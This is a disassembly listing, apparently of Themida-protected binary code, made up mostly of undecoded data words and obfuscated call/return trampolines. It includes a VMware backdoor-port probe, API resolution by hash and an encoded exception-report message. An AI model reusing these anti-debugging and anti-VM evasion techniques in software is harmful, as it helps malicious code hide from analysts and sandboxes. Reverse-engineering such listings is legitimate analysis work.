dd 6132989h, 0F39A858Dh, 5A570615h, 0A59D8950h, 5006132Fh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BCC35141h
dd 891121EDh, 1317118Dh, 11858906h, 0FF061314h, 15F367B5h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 0B96655A1h, 95FF76CBh, 615F353h, 9D8B60FCh
dd 6130A35h, 22ADB58Bh, 85610613h, 0B850FC0h, 66000000h
dd 56E9CB8Bh, 0F000000h, 8589C9B7h, 615F36Bh, 0B5FFEA8Ah
dd 615F36Bh, 8E9h, 0E72E9900h, 79EC8A99h, 3D95FFCDh, 66061301h
dd 850F4DBFh, 26850FC0h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 33A4C352h
dd 89D73A3Dh, 132A3D9Dh, 8B106A06h, 130B1D8Dh, 0FE96006h
dd 61000000h, 7C5033E9h, 0C816B62Ah, 51EDAC77h, 0B58B04FCh
dd 6130021h, 5BD8361h, 61315h, 4B840Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 0D735A3C3h, 59C5CDACh, 0BA6046C7h, 637EBBC5h, 61F1B70Fh
dd 63CF8166h, 0C4858D81h, 560615F3h, 24919D29h, 0E9590613h
dd 0Dh, 0E5EF8166h, 9A858DADh, 0B10615F3h, 8D8B5010h, 613193Dh
dd 0F367B5FFh, 0B5010615h, 61324F9h, 0F35F95FFh, 6A0615h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 921E05C3h, 8B6667A8h, 0FC085D0h, 2285h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 25CF8101h, 890EF251h, 15F36B85h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 302C6DC0h
dd 0DDB38E20h, 6660006Ah, 6A61C28Bh, 0FFDBB500h, 15F36BB5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 0C8563153h, 16564737h, 20F59509h, 95FF0613h
dd 615F357h, 0C085CB8Ah, 6850Fh, 0F1810000h, 5B21ED4h
dd 0F36BB5FFh, 850F0615h, 16h, 10800Fh, 0BE90000h, 4F000000h
dd 6F7B428Ah, 785CE3DAh, 95FF814Ch, 613013Dh, 0C3BF66F9h
dd 0FC0850Bh, 685h, 19852900h, 6A061312h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0E9D725D1h, 0Dh, 0D0B01AF8h, 0CC6ED4A2h, 8DD8E669h
dd 0EEBF6600h, 8068B6h, 958B0000h, 61330B5h, 8D29036Ah
dd 6132841h, 8B66006Ah, 0E8006ACFh, 9, 50146F55h, 9B735357h
dd 0FB8B66ABh, 685Fh, 6AC000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 0B5FF19C3h, 615F3E3h
dd 1B9D95FFh, 0BD890613h, 6131091h, 0FFFF883h, 4D685h
dd 10E900h, 13870000h, 0AAE45CAh, 35B5472Ch, 3E269AC9h
dd 85FF29B8h, 615FE51h, 83FE8B66h, 15FE51BDh, 840F0206h
dd 390h, 243B858Dh, 8166005Bh, 0FF467CDAh, 38E980D0h, 1E8E858Dh
dd 9589005Bh, 6130B75h, 0FE9h, 2A73B400h, 22C57A3h, 0A78F6AD6h
dd 50D1B7DBh, 8D8BD0FFh, 6132879h, 8166C08Bh, 830E93D9h
dd 131625BDh, 9750006h, 2C81BD83h, 74000613h, 8B535019h
dd 7D8B8C0h, 85890000h, 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h
dd 0BD83585Bh, 6132C81h, 50177400h, 7D8B853h, 85890000h
dd 6130D7Dh, 0A66C9D8Dh, 0D3FF0615h, 0BD03585Bh, 6130E09h
dd 8D33C08Bh, 6131E41h, 0F003F68h, 84BA6600h, 8A006A96h
dd 68B0FF3h, 89000000h, 1306D9B5h, 6A006A06h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0E789C356h, 198D8B0Ah, 0FF061301h, 1301B995h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0C085B325h, 0C9BD3151h, 5F06131Bh, 0F3678589h, 0F88B0615h
dd 0F01FF68h, 0E98D3300h, 83061313h, 131505BDh, 840F0006h
dd 57h, 6D858B60h, 0FC061323h, 8DCF8B61h, 15F3C485h, 0D2BF0F06h
dd 44E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 25C354A7h, 0F129031h, 687h, 0E9852900h
dd 0E906132Ch, 0Bh, 314EE7CDh, 0D83C17CBh, 8D6CFB93h, 15F39A85h
dd 6A5006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 0CE811C3h, 0BE000000h, 43840C5Eh, 84E1AD24h
dd 6677AA86h, 2A62F281h, 67B5FF59h, 0F0615F3h, 158Dh, 10E900h
dd 0A4120000h, 0EDBE148Dh, 4AB636FBh, 93EC647Ch, 95FF4D2Fh
dd 615F35Fh, 6850Fh, 0B5890000h, 61312A1h, 0F36B8589h
dd 0FE80615h, 44000000h, 4D8FF04Eh, 93C61745h, 0BFD99B29h
dd 9D898C8Bh, 61324D5h, 5185C75Fh, 61315h, 0BF000000h
dd 536A5C26h, 83CF8B66h, 15F36BBDh, 840F0006h, 15Ch, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B6C35141h, 1897F0A6h
dd 858DA6DAh, 615F649h, 2C3D8D03h, 60B90613h, 501D146Dh
dd 3485952Bh, 16A0613h, 2C9DBD8Bh, 0BD8B0613h, 6132BA1h
dd 0F36BB5FFh, 14E90615h, 52000000h, 81FE9B38h, 5C72D65Ah
dd 3876DD79h, 3D2C08FFh, 0FF96E20Dh, 15F36395h, 0B1BD8906h
dd 0FF061318h, 15F36BB5h, 0CFB70F06h, 13D95FFh, 0C7810613h
dd 436CBCF0h, 0F01FF68h, 0DBD8B00h, 83061315h, 131505BDh
dd 840F0006h, 1Ch, 8DD0B70Fh, 15F3C485h, 41858906h, 0E9061300h
dd 11h, 0BD8BF98Bh, 6133265h, 0F39A858Dh, 0EA800615h, 0B5FF50B9h
dd 615F367h, 0F35F95FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 67CA45C3h, 62EC2544h
dd 9BD9D89h, 85890613h, 615F36Bh, 94DBD8Bh, 0B5FF0613h
dd 615F36Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 0E3C35040h, 0D649584Bh, 0CAD028A7h, 5B95FF04h
dd 310615F3h, 130E918Dh, 218D8906h, 0FF061328h, 15F36BB5h
dd 5E906h, 0FE200000h, 0FFBA69B8h, 13013D95h, 0F8B70F06h
dd 0FFF71EE9h, 816657FFh, 597187F1h, 0FEB4B5FFh, 6A0615h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0D4059C3h, 0FEF8166h, 8995FFB2h, 8906131Dh, 13095595h
dd 95858B06h, 0BA06131Bh, 13854D3Fh, 55DE9h, 318D8900h
dd 8D06130Ch, 15F669B5h, 4D858D06h, 6A0615A3h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 0B7E4C356h, 0EF92B2BFh, 0E9D0FF3Ah, 0Ch, 5B7CEF16h
dd 8EB447C5h, 69908EFFh, 958B006Ah, 6130935h, 1CBD95FFh
dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 232FC9C3h, 0C4325F54h, 0E580A830h, 8B64B2FDh
dd 6E9F3h, 8D5D0000h, 0B2BF0AB3h, 0A34D858Dh, 9D890615h
dd 61321B9h, 0CE8h, 0E409C100h, 37C44795h, 17901C23h, 5E96Bh
dd 3F8B0000h, 5A31433Fh, 0BE9D0FFh, 2C000000h, 0AD315863h
dd 64CB702Ch, 6ABC4Dh, 12F1BD8Bh, 95FF0613h, 6131CBDh
dd 8BD18B66h, 0BD83F8C0h, 6131625h, 83097500h, 132C81BDh
dd 19740006h, 0C08B5350h, 7D9B8h, 7D858900h, 8D06130Dh
dd 15A97D9Dh, 5BD3FF06h, 81BD8358h, 6132Ch, 53501774h
dd 7D9B8h, 7D858900h, 8D06130Dh, 15A66C9Dh, 5BD3FF06h
dd 99958958h, 0F06131Eh, 686h, 33E78100h, 8B306AE0h, 50F78AC0h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 97C35545h
dd 892B7EC3h, 1321498Dh, 1D88B06h, 131E619Dh, 9D8D5306h
dd 613065Dh, 389038Bh, 8950438Bh, 9D8D5043h, 615FE4Dh
dd 389038Bh, 0CC6FB95Bh, 8B6670DEh, 0F006ACFh, 8D8BCBBFh
dd 6131145h, 0FE4D858Dh, 50F90615h, 16E19D89h, 606A0613h
dd 31619589h, 858D0613h, 613065Dh, 50D78B66h, 8D8B90B1h
dd 61316B5h, 0B70F006Ah, 8B006ACBh, 1331E58Dh, 18006806h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 8971D6C3h, 132301BDh, 8B505306h, 1305ED95h
dd 95FF5F06h, 6130C51h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 6DC35646h, 0C09EA5C4h, 58F021AAh, 0FFD2B70Fh
dd 13120995h, 158D8B06h, 0FF061309h, 15FEB4B5h, 698D8B06h
dd 0FF06132Bh, 131D8995h, 0C9853106h, 8D06131Ah, 13065D85h
dd 29958B06h, 8B06131Dh, 6A1840h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 0FC76B9C3h, 0F962CDC3h
dd 0AA585C7h, 613h, 80560000h, 835A7BCDh, 131505BDh, 840F0006h
dd 47h, 31458D8Bh, 8C3D0613h, 0F000000h
dd 1B583h, 12D98100h, 0E9343B7Fh, 3Ch, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 0EAC35141h, 0F1EC42F5h, 8B74D173h
dd 13349DBDh, 3DF88B06h, 98h, 174830Fh, 8D8B0000h, 6130781h
dd 243B858Dh, 6A005Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 0D0FF6CC3h, 2B2D8501h, 858D0613h
dd 5B1E8Eh, 0DDC18166h, 0D18B66B1h, 6AD0FFh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0FD4921C3h
dd 38C47AB3h, 758D8B0Dh, 8B061310h, 0FE8B66C0h, 1625BD83h
dd 75000613h, 81BD8309h, 6132Ch, 53501974h, 0C6B8C08Bh
dd 8900000Bh, 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h
dd 132C81BDh, 17740006h, 0C6B85350h, 8900000Bh, 130D7D85h
dd 6C9D8D06h, 0FF0615A6h, 8B585BD3h, 1309EDBDh, 0CA8B6606h
dd 5E8C08Bh, 9B000000h, 0F4883E76h, 0FFF8835Ah, 7C850Fh
dd 0C7F50000h, 13233985h, 6, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 11BE913h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 3F8EF4C3h, 46FABCD8h, 860FC1A9h, 0
; ---------------------------------------------------------------------------
movzx ecx, bx
jmp loc_5AEFB4
; ---------------------------------------------------------------------------
or [ebp+6133161h], esi
jmp loc_5AEF9A
; ---------------------------------------------------------------------------
db 95h
dd 0CA6BE949h, 4F48F7ADh, 0D0C93B7Ch, 0D4994965h
db 1Fh, 0DAh
; ---------------------------------------------------------------------------
loc_5AEF9A: ; CODE XREF: Themida_:005AEF82j
cmp eax, 1
jnz loc_5AEFB4
mov edx, [ebp+6132A05h]
jmp loc_5AF0B6
; ---------------------------------------------------------------------------
mov ecx, [ebp+6130005h]
loc_5AEFB4: ; CODE XREF: Themida_:005AEF77j
; Themida_:005AEF9Dj
jmp near ptr dword_5ADE00+42Bh
; ---------------------------------------------------------------------------
cld
mov eax, eax
mov edi, eax
cmp dword ptr [ebp+6131625h], 0
jnz short loc_5AEFD0
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5AEFE9
loc_5AEFD0: ; CODE XREF: Themida_:005AEFC5j
push eax
push ebx
mov eax, eax
mov eax, 7DDh
mov [ebp+6130D7Dh], eax
lea ebx, [ebp+615A97Dh]
call ebx ; _iob
pop ebx
pop eax
loc_5AEFE9: ; CODE XREF: Themida_:005AEFCEj
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5AF009
push eax
push ebx
mov eax, 7DDh
mov [ebp+6130D7Dh], eax
lea ebx, [ebp+615A66Ch]
call ebx ; _iob
pop ebx
pop eax
loc_5AF009: ; CODE XREF: Themida_:005AEFF0j
push 0
push esi
call sub_5AF014
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AF014 proc near ; CODE XREF: Themida_:005AF00Cp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5AF014 endp
; ---------------------------------------------------------------------------
xor al, 60h
dec ebp
sbb byte ptr [eax+64h], 0F8h
sub ch, 0D4h
push 0
push ebp
call sub_5AF039
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AF039 proc near ; CODE XREF: Themida_:005AF031p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5AF039 endp
; ---------------------------------------------------------------------------
xor dl, al
xor al, 86h
fiadd dword ptr [esi+ebp*8+32h]
mov ebp, 8B6BB235h
ror byte ptr [ebx+1323858Dh], 6
jmp loc_5AF2AC
; ---------------------------------------------------------------------------
push ecx
cld
pop ecx
lea eax, [ebp+615FC51h]
add [ebp+6132035h], ecx
mov [ebp+615FE49h], eax
mov [ebp+613225Dh], edx
jmp loc_5AF100
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5AF08D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AF08D proc near ; CODE XREF: Themida_:005AF085p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5AF08D endp
; ---------------------------------------------------------------------------
db 6, 0EEh, 5Ch
dd 0D6EB0F95h, 8E0FCD61h, 6, 9CC9D781h, 0B557654Fh
db 35h, 59h
; ---------------------------------------------------------------------------
loc_5AF0B6: ; CODE XREF: Themida_:005AEFA9j
lea eax, [ebp+615FA59h]
jmp loc_5AF0CF
; ---------------------------------------------------------------------------
db 0A0h, 0B3h, 0CFh
dd 0D50F1FEFh, 95360899h
db 61h, 0D2h, 68h
; ---------------------------------------------------------------------------
loc_5AF0CF: ; CODE XREF: Themida_:005AF0BCj
inc eax
push 0
push ecx
call sub_5AF0DB
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AF0DB proc near ; CODE XREF: Themida_:005AF0D3p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5AF0DB endp
; ---------------------------------------------------------------------------
db 62h
dd 10A1E834h, 76D73FB3h, 0FE498589h, 85890615h, 6130BE9h
; ---------------------------------------------------------------------------
loc_5AF100: ; CODE XREF: Themida_:005AF07Dj
push 34h
lea eax, [ebp+6132AA5h]
push eax
push dword ptr [ebp+615FE49h]
push 0
call dword ptr [ebp+6130155h]
cmp eax, 7
jz loc_5AF288
mov bx, ds
test bl, 4
jnz loc_5AF22E
mov byte ptr [ebp+61311E1h], 56h
push 9CA8B852h
push dword ptr [ebp+613116Dh]
lea eax, [ebp+6133AADh]
call eax
push 4
push 1000h
push 64h
push 0
call eax
mov [ebp+615FEBCh], eax
mov byte ptr [ebp+61311E1h], 47h
push 0EC18AC9Bh
push dword ptr [ebp+613116Dh]
lea eax, [ebp+6133AADh]
call eax
call eax
mov esi, eax
mov byte ptr [ebp+61311E1h], 4Fh
push 0C62F2661h
push dword ptr [ebp+61307C9h]
lea eax, [ebp+6133AADh]
call eax
lea ebx, [ebp+615FEB8h]
push ebx
push 28h
push esi
call eax
test eax, eax
jnz short $+2
mov byte ptr [ebp+61311E1h], 41h
push 0DB876498h
push dword ptr [ebp+61307C9h]
lea eax, [ebp+6133AADh]
call eax
mov [ebp+615FED5h], eax
mov byte ptr [ebp+61311E1h], 4Ch
push 80A4E7A4h
push dword ptr [ebp+61307C9h]
lea eax, [ebp+6133AADh]
call eax
mov ebx, [ebp+615FEBCh]
lea ebx, [ebx+4]
push ebx
lea ebx, [ebp+615FEC1h]
push ebx
push 0
call eax
mov ebx, [ebp+615FEBCh]
mov dword ptr [ebx], 1
mov dword ptr [ebx+0Ch], 2
mov ebx, [ebp+6131AB9h]
mov dword ptr [ebp+61304F1h], 0
push 0
push 0
push 0
mov ebx, [ebp+615FEBCh]
push ebx
push 0
push dword ptr [ebp+615FEB8h]
call dword ptr [ebp+615FED5h]
loc_5AF22E: ; CODE XREF: Themida_:005AF126j
mov byte ptr [ebp+61311E1h], 45h
push 92A5F797h
push dword ptr [ebp+61310D1h]
lea eax, [ebp+6133AADh]
call eax
push 0
push 2
call eax
mov bx, ds
test bl, 4
jnz short loc_5AF288
mov ebx, [ebp+615FEBCh]
mov dword ptr [ebx+0Ch], 0
push 0
push 0
mov ebx, [ebp+615FEBCh]
push ebx
push 0
push dword ptr [ebp+615FEB8h]
call dword ptr [ebp+615FED5h]
push dword ptr [ebp+615FEB8h]
call dword ptr [ebp+6131209h]
loc_5AF288: ; CODE XREF: Themida_:005AF11Aj
; Themida_:005AF254j
push 0
call dword ptr [ebp+6131CBDh]
jmp loc_5AF2A1
; ---------------------------------------------------------------------------
db 38h, 0E6h, 79h
; ---------------------------------------------------------------------------
div dword ptr [esi+eax*8-5Eh]
mov edx, 89D0FD14h
loc_5AF2A1: ; CODE XREF: Themida_:005AF290j
mov edi, 68937692h
mov [ebp+6130AF1h], eax
loc_5AF2AC: ; CODE XREF: Themida_:005AF05Dj
lea eax, [ebp+61630FAh]
push edx
movsx edx, bx
pop edi
push eax
push 0
push ebx
call sub_5AF2C3
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AF2C3 proc near ; CODE XREF: Themida_:005AF2BBp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5AF2C3 endp
; ---------------------------------------------------------------------------
db 36h
dd 820F51A9h, 8, 2880Fh, 0FE8B0000h, 35FF64h, 8B000000h
dd 130EF195h, 25896406h, 0
; ---------------------------------------------------------------------------
movsx ecx, si
cmp dword ptr [ebp+6131F95h], 0
jz loc_5AF35B
push 0
push edx
call sub_5AF313
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AF313 proc near ; CODE XREF: Themida_:005AF30Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5AF313 endp
; ---------------------------------------------------------------------------
db 0D5h
dd 83FF45A5h, 13173DBDh, 850F0106h, 27h, 16FDBD8Bh, 0B70F0613h
dd 0D5BD80F9h, 61602h, 11850Fh, 0BA660000h, 4CE9F622h
dd 57000001h, 0B107D181h
; ---------------------------------------------------------------------------
mov dl, 49h
pop edi
loc_5AF35B: ; CODE XREF: Themida_:005AF302j
xor ebx, ebx
mov dx, bx
xor eax, eax
cld
inc eax
; ---------------------------------------------------------------------------
dd 0B073F0Fh, 58F64h, 83000000h, 8F0F04C4h, 1, 7DE980F5h
dd 35158D29h, 0FB830613h, 1F840FFFh, 0F000000h, 0A86h
dd 8C0F6000h, 0
; ---------------------------------------------------------------------------
mov edi, eax
popa
push ecx
or edi, [ebp+6131175h]
pop edi
jmp loc_5AF495
; ---------------------------------------------------------------------------
mov edi, edx
jmp loc_5AF438
; ---------------------------------------------------------------------------
call loc_5AF3B9
; ---------------------------------------------------------------------------
dd 784338EAh
db 1Dh
; ---------------------------------------------------------------------------
loc_5AF3B9: ; CODE XREF: Themida_:005AF3AFj
pusha
mov [ebp+6130CF9h], edx
mov edx, ecx
popa
pop edx
mov ecx, [esp+0Ch]
mov dword ptr [ecx+0A4h], 0FFFFFFFFh
add dword ptr [ecx+0B8h], 4
xor eax, eax
retn
; ---------------------------------------------------------------------------
mov ebx, [esp+0Ch]
push ebp
call $+5
pop ebp
sub ebp, 616311Ch
mov eax, [ebx+0B8h]
lea eax, [ebp+61631D5h]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0E8h
dd 9, 0D268BC9h, 0B13ED15Dh, 8E804h, 8F2B0000h, 7613135Eh
dd 616030A6h, 11E9595Fh, 0C1000000h, 9FA94C80h, 0DEE24596h
dd 0CEBB2C5Eh, 0CCE2736Ch
; ---------------------------------------------------------------------------
loc_5AF438: ; CODE XREF: Themida_:005AF3AAj
lea eax, [ebp+6163112h]
sub [ebp+613053Dh], eax
push eax
jmp loc_5AF453
; ---------------------------------------------------------------------------
dw 96CFh
dd 0AC9CBEB5h
db 20h, 2Ah, 32h
; ---------------------------------------------------------------------------
loc_5AF453: ; CODE XREF: Themida_:005AF445j
push large dword ptr fs:0
sub [ebp+6132051h], eax
mov large fs:0, esp
mov [ebp+61304F5h], esi
mov ecx, 0Ah
mov eax, 4855D704h
add eax, 0DF78164h
mov ebx, 8685D465h
mov edx, 34B640h
sub edx, 345FE8h
in eax, dx
cmp ebx, 564D5868h
jnz short loc_5AF49F
loc_5AF495: ; CODE XREF: Themida_:005AF3A3j
mov dword ptr [ebp+61312A5h], 1
loc_5AF49F: ; CODE XREF: Themida_:005AF493j
pop large dword ptr fs:0
add esp, 4
push 0
push ebp
call sub_5AF4B4
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AF4B4 proc near ; CODE XREF: Themida_:005AF4ACp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5AF4B4 endp
; ---------------------------------------------------------------------------
dd 614B2A4Bh, 42C56CA8h, 0FC2BDD80h, 6AC08Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 7B61FCC3h
dd 26F4D604h, 8D31DEE0h, 61316B5h, 0BD8367B2h, 6131625h
dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h, 43DB8h
dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h
dd 6132Ch, 53501774h, 43DB8h, 15858900h, 8D061331h, 15A6859Dh
dd 5BD3FF06h, 6DBD0358h, 66061301h, 957FCF81h, 1FAD8D8Bh
dd 0C08B0613h, 147E9h, 400h, 392E3100h, 3031h, 6 dup(0)
dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
dd 20202020h, 25203D20h, 0D0A64h, 2345BD83h, 0F000613h
dd 12D84h, 9C858D00h, 500615A4h, 0A406858Dh, 68500615h
dd 80000001h, 0A4AC95FFh, 858D0615h, 6163297h, 0A1858D50h
dd 50061632h, 6A006Ah, 0A41A858Dh, 0FF500615h, 15A49CB5h
dd 9195FF06h, 8D061311h, 16329785h, 858D5006h, 61632A5h
dd 6A006A50h, 2C858D00h, 500615A4h, 0A49CB5FFh, 95FF0615h
dd 6131191h, 3297858Dh, 8D500616h, 1632B185h, 6A5006h
dd 858D006Ah, 615A479h, 9CB5FF50h, 0FF0615A4h, 13119195h
dd 97858D06h, 50061632h, 32B9858Dh, 6A500616h, 8D006A00h
dd 15A49785h, 0B5FF5006h, 615A49Ch, 119195FFh, 858D0613h
dd 6163297h, 0B5858D50h, 50061632h, 6A006Ah, 0A480858Dh
dd 0FF500615h, 15A49CB5h, 9195FF06h, 8D061311h, 16329785h
dd 858D5006h, 61632A9h, 6A006A50h, 88858D00h, 500615A4h
dd 0A49CB5FFh, 95FF0615h, 6131191h, 3297858Dh, 8D500616h
dd 1632AD85h, 6A5006h, 858D006Ah, 615A48Fh, 9CB5FF50h
dd 0FF0615A4h, 13119195h, 9CB5FF06h, 0FF0615A4h, 1331CD95h
dd 0A2E906h, 0BD830000h, 613316Dh, 95840F00h, 83000000h
dd 13173DBDh, 850F0006h, 11h, 29C5958Bh, 0C2810613h, 1CF8h
dd 0FE9h, 5D958D00h, 8B061306h, 0C2813452h, 3BD4C340h
dd 206D9589h, 0BD830613h, 613206Dh, 55840F00h, 8B000000h
dd 13206D9Dh, 4CC38306h, 8589038Bh, 61632A1h, 206D9D8Bh
dd 0C3830613h, 89038B50h, 1632A585h, 6D9D8B06h, 83061320h
dd 38B54C3h, 32B18589h, 9D8B0616h, 613206Dh, 8B58C383h
dd 0B5858903h, 8B061632h, 13206D9Dh, 5CC38306h, 8589038Bh
dd 61632A9h, 2345BD83h, 0F000613h, 0D85h, 6DBD8300h, 61331h
dd 68840Fh, 0B5FF0000h, 61632B9h, 32ADB5FFh, 0B5FF0616h
dd 61632A9h, 32B5B5FFh, 0B5FF0616h, 61632B1h, 32A5B5FFh
dd 0B5FF0616h, 61632A1h, 329B858Dh, 8D500616h, 1632D385h
dd 858D5006h, 6132609h, 8595FF50h, 83061311h, 406A24C4h
dd 32BD858Dh, 8D500616h, 13260985h, 6A5006h, 15595FFh
dd 16A0613h, 1CBD95FFh, 0C18B0613h, 0F31718EBh, 9B46h
dd 4 dup(0)
dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6163667h
dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
dd 8C261h, 0FFFFF6E9h, 0FFh, 0
dd 0C3616000h, 0FFFFF8E9h, 9FB58BFFh, 81061636h, 0FFF000E6h
dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 0A3B53B00h
dd 0F061636h, 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h
dd 24C88C66h, 0FC00A03h, 1984h, 0BB535000h, 2, 206D858Bh
dd 18860613h, 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h
dd 0FFFFFFCFh, 2474FF50h, 1D95FF08h, 50061311h, 244C010Fh
dd 0C08358FEh, 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h
dd 324C88Ch, 840FC00Ah, 9, 206D858Bh, 0C60613h, 4FF5800h
dd 4C224h, 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h
dd 3884h, 2BB00h, 858B0000h, 613206Dh, 0DB0A1886h, 0FFF6850Fh
dd 85C7FFFFh, 61328D5h, 0
; ---------------------------------------------------------------------------
mov eax, [esp+8]
mov ebx, [eax+1000h]
mov [eax+1000h], ebx
mov ebx, [eax]
mov [eax], ebx
jmp loc_5AFA73
; ---------------------------------------------------------------------------
mov dword ptr [ebp+61328D5h], 100h
loc_5AFA73: ; CODE XREF: Themida_:005AFA64j
pop eax
pop ebx
inc dword ptr [esp]
retn
; ---------------------------------------------------------------------------
db 0E9h, 0A3h, 0FFh
dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah
dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh
dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh
dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h
dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h
dd 4485C700h, 1061636h, 50000000h, 244C010Fh, 48858FFEh
dd 8D061636h, 16364085h, 48BD8D06h, 89061636h, 23E938h
